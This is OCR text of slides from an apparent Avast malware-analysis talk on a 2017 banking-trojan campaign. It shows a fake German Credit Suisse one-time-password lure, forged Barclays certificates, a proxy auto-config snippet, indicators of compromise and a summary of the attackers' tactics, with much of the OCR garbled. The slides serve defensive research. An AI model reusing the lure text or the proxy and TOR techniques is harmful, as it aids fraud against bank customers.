Den neuen Benutzungsvorschriften gema, soll CREDIT SUISSE
jeder Versuch Ihr Bankkonto einzutreten mit

Hilfe Einmalpasswort verwirklicht sein. Dieses

Passwort konnen Sie mit Hilfe dieses

Programm fiir lhr Smartphone generieren. lhr Passwort:
Driicken Sie ,Passwort generieren” auf und
System wird |hr Einmalpasswort generieren. 218567

Fiillen Sie es in lhrem Online-Banking ein, wenn
es angefragt sein wird. Dieses Passwort ist nur
fiir einen Versuch verfiighar. Deshalb loschen
Sie dieses Programm nicht. Ohne es konnen
Sie nicht lhr Bankkonto benutzen.

Passwort generieren
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Comparing certificates

»  Certificate X
General Details Certification Path

Certification path

__ﬂj VeriSign
(5] Symantec Class 3EV SSL CA -G3

SR8 | bank, bardays. co.uk

View Certificate

Certificate status:

ITru certificate is OK.

[ oc ]

| Barclays Bank PLC [GE] | https://bank.barclays.co.uk/olb/auth/LoginLink.action

Certificate

m Certification Path

Certification path

[5;] cOMODO Certification Authority
e BA bank. bardays.co.uk

View Certificate

Certificate status:

is certificate is OK,

Learn more about certification paths

ttps://bank.barclays.co.uk/




IP Blacklisting

function FindProxyForURL (url, host) {return™DIERECT™}

welcome to smile banking

Sorry!

e unable to f the page vere 100k % 8102 te
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GUIDS per Country
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Hits per day

Hits per day (February — April 2017)
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Recognition of compromised machines

+ Incoming emails contain macros and/or embedded Packager Shell Object
+ Proxy settings in web browsers

+ Proxy auto-config files are obfuscated

+ TOR client installed

+ TOR communication detected

+ Access to TOR proxy gates

+ Task Scheduler actions
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Summary
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Summary

+ Effective social engineering tactics used to trick banking customers
+ No “Enable content” or “Enable macros”
+ Added new target country (UK)

+ No executable file, shifted completely to scripts
* PowerShell, JavaScript

+ Additional tools (Tor, Proxifier) and persistence
+ Both proxy and config URL behind TOR




Thank You

Jaromir Horejsi
Jan Sirmer


http://www.avast.com/




